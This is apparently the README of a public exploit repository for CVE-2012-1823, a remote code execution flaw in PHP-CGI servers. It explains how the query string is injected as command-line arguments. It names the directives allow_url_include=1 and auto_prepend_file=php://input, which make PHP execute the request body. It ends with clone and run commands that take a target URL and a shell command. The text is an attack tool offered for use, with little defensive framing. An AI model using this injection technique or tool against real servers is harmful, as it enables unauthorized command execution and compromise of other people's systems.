
Python-based exploit for CVE-2012-1823 enabling remote code execution on vulnerable PHP-CGI servers by injecting command-line arguments via the query string.
A Python-based exploit for CVE-2012-1823. This vulnerability allows an attacker to execute arbitrary code on a server running a vulnerable version of PHP-CGI by injecting command-line arguments via the query string.
The flaw exists when PHP is used in a CGI configuration. The HTTP query string is incorrectly parsed as command-line arguments for the PHP binary. By passing the -d argument, we can override PHP configuration settings (directives).
Key Directives used in this exploit:
allow_url_include=1: Enables the inclusion of data streams.auto_prepend_file=php://input: Forces PHP to execute the contents of the HTTP Request Body.Ensure you have Python 3 and the requests library installed.
pip install requests
git clone https://github.com/tryj/CVE-2012-1823---PHP-CGI---RCE.git
cd CVE-2012-1823---PHP-CGI---RCE
python exploit.py -u <TARGET_URL> -c <COMMAND>
python exploit.py -u http://127.0.0.1 -c "id"